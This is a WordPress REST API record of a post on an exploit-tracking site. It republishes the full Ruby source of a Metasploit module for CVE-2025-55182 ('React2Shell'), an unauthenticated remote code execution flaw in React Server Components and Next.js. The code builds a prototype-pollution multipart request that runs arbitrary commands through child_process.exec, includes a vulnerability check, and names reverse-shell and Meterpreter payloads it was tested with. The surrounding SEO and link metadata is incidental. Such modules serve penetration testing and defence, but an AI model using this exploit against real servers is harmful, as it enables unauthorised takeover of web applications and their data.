{"id":29748,"date":"2025-12-09T13:38:41","date_gmt":"2025-12-09T13:38:41","guid":{"rendered":"http:\/\/localhost\/?p=29748"},"modified":"2025-12-09T13:38:41","modified_gmt":"2025-12-09T13:38:41","slug":"unauthenticated-rce-in-react-and-nextjs","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=29748","title":{"rendered":"Unauthenticated RCE in React and Next.js_MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-09T19:04:50&#8243;,&#8221;description&#8221;:&#8221;A critical unauthenticated Remote Code Execution RCE vulnerability exists in React Server Components RSC Flight protocol. The vulnerability allows attackers to achieve prototype pollution during deserialization of RSC payloads by sending specially&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-09T18:55:12&#8243;,&#8221;modified&#8221;:&#8221;2025-12-09T18:55:12&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Unauthenticated RCE in React and Next.js&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-55182&#8243;,&#8221;CVE-2025-66478&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Msf::Exploit::Remote::HttpClient\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Unauthenticated RCE in React and Next.js&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server\\n          Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype\\n          pollution during deserialization of RSC payloads by sending specially crafted multipart\\n          requests with \\&#8221;__proto__\\&#8221;, \\&#8221;constructor\\&#8221;, or \\&#8221;prototype\\&#8221; as module names.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Maksim Rogov&#8217;, # Metasploit Module\\n          &#8216;Lachlan Davidson&#8217;, # Vulnerability Discovery\\n          &#8216;maple3142&#8217; # Public Exploit\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2025-55182&#8217;],\\n          [&#8216;CVE&#8217;, &#8216;2025-66478&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/react.dev\/blog\/2025\/12\/03\/critical-security-vulnerability-in-react-server-components&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/gist.github.com\/maple3142\/48bc9393f45e068cf8c90ab865c0f5f3&#8217;]\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [&#8216;multi&#8217;],\\n        &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;Unix Command&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;FETCH_COMMAND&#8217; =\\u003e &#8216;WGET&#8217;\\n              }\\n              # Tested with cmd\/unix\/reverse_bash\\n              # Tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp\\n            }\\n          ],\\n          [\\n            &#8216;Windows Command&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e [&#8216;windows&#8217;]\\n              # Tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp\\n            }\\n          ],\\n        ],\\n        &#8216;Payload&#8217; =\\u003e {\\n          &#8216;BadChars&#8217; =\\u003e &#8216;\\&#8221;&#8216;\\n        },\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-12-03&#8217;,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;AKA&#8217; =\\u003e [&#8216;React2Shell&#8217;],\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Path to the React App&#8217;, &#8216;\/&#8217;]),\\n      ]\\n    )\\n  end\\n\\n  def build_malicious_chunk(ref_idx, reason, get_token, node_payload)\\n    {\\n      &#8216;then&#8217; =\\u003e \\&#8221;$#{ref_idx}:then\\&#8221;,\\n      &#8216;status&#8217; =\\u003e &#8216;resolved_model&#8217;,\\n      &#8216;reason&#8217; =\\u003e reason,\\n      &#8216;value&#8217; =\\u003e { &#8216;then&#8217; =\\u003e &#8216;$B&#8217; }.to_json,\\n      &#8216;_response&#8217; =\\u003e {\\n        &#8216;_prefix&#8217; =\\u003e node_payload,\\n        &#8216;_formData&#8217; =\\u003e {\\n          &#8216;get&#8217; =\\u003e \\&#8221;$#{ref_idx}:#{get_token}:constructor\\&#8221;\\n        }\\n      }\\n    }.to_json\\n  end\\n\\n  def get_random_value\\n    random_string = Rex::Text.rand_text_alphanumeric(6..14).upcase\\n    [&#8216;\\&#8221;\\&#8221;&#8216;, &#8216;{}&#8217;, &#8216;[]&#8217;, &#8216;null&#8217;, &#8216;undefined&#8217;, &#8216;true&#8217;, &#8216;false&#8217;, \\&#8221;\\\\\\&#8221;#{random_string}\\\\\\&#8221;\\&#8221;].sample\\n  end\\n\\n  def build_post_data(node_payload)\\n    random_reason = -Rex::Text.rand_text_numeric(1, &#8216;0&#8217;).to_i\\n    random_ref_idx = Rex::Text.rand_text_numeric(1, &#8216;0&#8217;).to_i\\n    random_get_token = [&#8216;then&#8217;, &#8216;constructor&#8217;].sample\\n\\n    chunk = build_malicious_chunk(random_ref_idx, random_reason, random_get_token, node_payload)\\n\\n    post_data = Rex::MIME::Message.new\\n    post_data.add_part(chunk, nil, nil, &#8216;form-data; name=\\&#8221;0\\&#8221;&#8216;)\\n\\n    cycle_length = rand(random_ref_idx..9)\\n    (1..cycle_length).each do |i|\\n      value = (i == random_ref_idx) ? \\&#8221;\\\\\\&#8221;$@#{random_ref_idx}\\\\\\&#8221;\\&#8221; : get_random_value\\n      post_data.add_part(value, nil, nil, \\&#8221;form-data; name=\\\\\\&#8221;#{i}\\\\\\&#8221;\\&#8221;)\\n    end\\n\\n    post_data\\n  end\\n\\n  def send_payload(node_payload)\\n    post_data = build_post_data(node_payload)\\n\\n    send_request_cgi(\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;headers&#8217; =\\u003e { &#8216;Next-Action&#8217; =\\u003e &#8221; },\\n      &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{post_data.bound}\\&#8221;,\\n      &#8216;data&#8217; =\\u003e post_data.to_s\\n    )\\n  end\\n\\n  def check\\n    random_id = Rex::Text.rand_text_alphanumeric(8..16).upcase\\n    node_payload = \\&#8221;throw Object.assign(new Error(&#8216;NEXT_REDIRECT&#8217;),{digest:`NEXT_REDIRECT;push;\/#{random_id};307;`});\\&#8221;\\n\\n    res = send_payload(node_payload)\\n    return CheckCode::Unknown(\\&#8221;#{peer} &#8211; No response from web service\\&#8221;) unless res\\n\\n    headers_text = res.headers.to_s\\n    return CheckCode::Appears if res.code == 303 \\u0026\\u0026 headers_text.include?(\\&#8221;\/#{random_id};push\\&#8221;)\\n\\n    CheckCode::Safe(\\&#8221;The target #{target_uri} is not vulnerable\\&#8221;)\\n  end\\n\\n  def exploit\\n    node_payload = \\&#8221;process.mainModule.require(&#8216;child_process&#8217;).exec(\\\\\\&#8221;#{payload.encoded}\\\\\\&#8221;,{detached:true,stdio:&#8217;ignore&#8217;},function(){});\\&#8221;\\n    send_payload(node_payload)\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/react2shell_unauth_rce_cve_2025_55182.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/react2shell_unauth_rce_cve_2025_55182\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-09T19:04:50&#8243;,&#8221;description&#8221;:&#8221;A critical unauthenticated Remote Code Execution RCE vulnerability exists in React Server Components RSC Flight protocol. The vulnerability allows attackers to achieve prototype pollution during&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,169,13,7,11,5],"class_list":["post-29748","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Unauthenticated RCE in React and Next.js_MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=29748\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Unauthenticated RCE in React and Next.js_MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-09T19:04:50&#8243;,&#8221;description&#8221;:&#8221;A critical unauthenticated Remote Code Execution RCE vulnerability exists in React Server Components RSC Flight protocol. The vulnerability allows attackers to achieve prototype pollution during...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=29748\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-09T13:38:41+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29748#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29748\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Unauthenticated RCE in React and Next.js_MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182-\",\"datePublished\":\"2025-12-09T13:38:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29748\"},\"wordCount\":906,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29748#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29748\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29748\",\"name\":\"Unauthenticated RCE in React and Next.js_MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-09T13:38:41+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29748#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29748\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29748#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Unauthenticated RCE in React and Next.js_MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Unauthenticated RCE in React and Next.js_MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=29748","og_locale":"en_US","og_type":"article","og_title":"Unauthenticated RCE in React and Next.js_MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-09T19:04:50&#8243;,&#8221;description&#8221;:&#8221;A critical unauthenticated Remote Code Execution RCE vulnerability exists in React Server Components RSC Flight protocol. The vulnerability allows attackers to achieve prototype pollution during...","og_url":"https:\/\/zero.redgem.net\/?p=29748","og_site_name":"zero redgem","article_published_time":"2025-12-09T13:38:41+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=29748#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=29748"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Unauthenticated RCE in React and Next.js_MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182-","datePublished":"2025-12-09T13:38:41+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=29748"},"wordCount":906,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=29748#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=29748","url":"https:\/\/zero.redgem.net\/?p=29748","name":"Unauthenticated RCE in React and Next.js_MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-09T13:38:41+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=29748#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=29748"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=29748#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Unauthenticated RCE in React and Next.js_MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29748","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29748"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29748\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29748"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29748"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29748"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}